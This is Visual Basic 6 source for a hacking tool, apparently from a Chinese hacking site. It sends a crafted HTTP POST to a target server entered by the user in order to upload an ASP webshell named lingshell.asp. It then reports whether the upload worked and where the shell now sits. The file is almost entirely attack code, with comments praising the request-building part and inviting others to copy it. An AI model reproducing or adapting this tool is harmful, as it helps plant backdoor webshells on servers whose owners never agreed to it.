Private Sub Command1_Click()
  Winsock1.RemotePort = Text3.Text
  Winsock1.RemoteHost = Text2.Text
  Winsock1.Connect
  Command1.Enabled = False
  Me.Timer2.Enabled = True
  End Sub
  Private Sub Timer2_Timer()
  If InStr(Text6.Text, "lingshell.asp") Then
  Me.Timer2.Enabled = False
  MsgBox "上传成功!! ***已经上传到 http://" & Text2.Text & "" & Text4.Text & " 这个位置的目录下.WebShell文件为 lingshell.asp", , "恭喜"
  Else
  Me.Timer2.Enabled = False
  MsgBox "上传失败!", , "警告"
  End If
  End Sub
  Private Sub winsock1_Connect()
  ’定义提交部分包头和数据 精华所在
  Dim PostPOST
  Dim PostAccept
  Dim PostReferer
  Dim PostAcceptLanguage
  Dim PostContentType
  Dim PostAcceptEncoding
  Dim PostUserAgent
  Dim PostHost
  Dim PostContentLength
  Dim PostConnection
  Dim PostCacheControl
  Dim PostCookie
  Dim PostDATA
  Dim TopPostDATA
  PostPOST = "POST " & Text4.Text & " HTTP/1.1"
  PostAccept = "Accept: p_w_picpath/gif, p_w_picpath/x-xbitmap, p_w_picpath/jpeg, p_w_picpath/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, application/x-shockwave-flash, */*"
  PostReferer = "Referer: http://" & Text2.Text & "/"
  PostAcceptLanguage = "Accept-Language: zh-cn"
  PostContentType = "Content-Type: application/x-www-form-urlencoded"
  PostAcceptEncoding = "Accept-Encoding: gzip, deflate"
  PostUserAgent = "User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 9.1; linghao ; [url]www.chinanethack.com[/url])"
  PostHost = "Host: " & Text2.Text & ""
  PostContentLength = "Content-Length: 7044"
  PostConnection = "Connection: Keep-Alive"
  PostCacheControl = "Cache-Control: no-cache"
  PostCookie = "Cookie: ASPSESSIONIDGGGGGSDQ=AMBLGJAACHFIJNEDMGGEHCHF"
  PostDATA = Text1.Text
  TopPostDATA = PostPOST _
  & vbCrLf & PostAccept _
  & vbCrLf & PostReferer _
  & vbCrLf & PostAcceptLanguage _
  & vbCrLf & PostContentType _
  & vbCrLf & PostAcceptEncoding _
  & vbCrLf & PostUserAgent _
  & vbCrLf & PostHost _
  & vbCrLf & PostContentLength _
  & vbCrLf & PostConnection _
  & vbCrLf & PostCacheControl _
  & vbCrLf & PostCookie & vbCrLf _
  Winsock1.SendData TopPostDATA
  End Sub
  Private Sub Command2_Click()
  Winsock1.Close
  Command1.Enabled = True
  End Sub
  Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)
  Dim HX As String
  Winsock1.GetData HX
  Text6.Text = HX
  End Sub
  Private Sub Form_Load()
  MsgBox "版权[url]www.chinanethack.com[/url]-零号所有 欢迎大家抄袭改进!"
  End Sub
  ’这里要使用时间控件来判断是因为返回有个时间间隔问题.而且如果你提交的字节数不规范服务器有可能不响应你.所以用时间判断返回是比较合理的.代码写得不好`望见谅~ TopPostDATA = 你的*** 使用POST